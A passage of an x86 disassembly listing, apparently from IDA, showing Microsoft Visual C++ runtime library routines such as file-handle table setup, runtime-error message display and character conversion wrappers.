loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4CDB70 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_4CDB70, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj nop call near ptr 2620BECh mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_4CDB70, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 2620E29h mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A nop call near ptr 2620BECh mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi nop call near ptr 2620E64h mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_4CECE0, esi mov dword_4CEDE0, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4CECE0 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax call near ptr 2850000h nop cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_4CEDE0, esi jge short loc_41F6A3 mov edi, offset dword_4CECE4 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_4CEDE0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_4CEDE0, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_4CEDE0 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax nop call near ptr 2620000h test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_4CECE0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax nop call near ptr 262084Dh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi call near ptr 2620000h nop test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_4CEDE0 nop call near ptr 2620B32h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_4CDA08 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_433C64, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_4CDB74 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4362F8 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_436388 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4362F8[esi] jnz loc_41F9D5 mov eax, dword_4CDA08 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_433C64, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2680000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_4362FC[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_4362FC[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 262084Dh push eax call near ptr 2660000h nop loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_4CDB78 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_4CECC0 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_4CECC0, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_4CECC0, esi call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_436388 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_4CDCB0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_436608 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_436398 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4CECE0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_4363F8 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_4CD9F4, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_4CDA48, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_433E7C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4CDA58 nop call near ptr 27D0000h test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDB7C xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi call near ptr 2610000h nop test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push ebx nop call near ptr 2610764h test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_4CDB7C, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_4CDA48 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2610764h nop jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2650000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2650000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2610000h jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4CECE0 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4CEDE0 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_4CEDE0, 20h lea ecx, ds:4CECE0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_433C64, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj nop call near ptr 26009E2h loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4CEDE0 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_433C64, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej call near ptr 26009E2h nop loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax nop call near ptr 26005B0h test eax, eax jnz short loc_41FEAD nop call near ptr 2670ADCh jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_4CD9B8, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_4CDC88, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_4CD9B4, 16h mov dword_4CD9B8, ebx 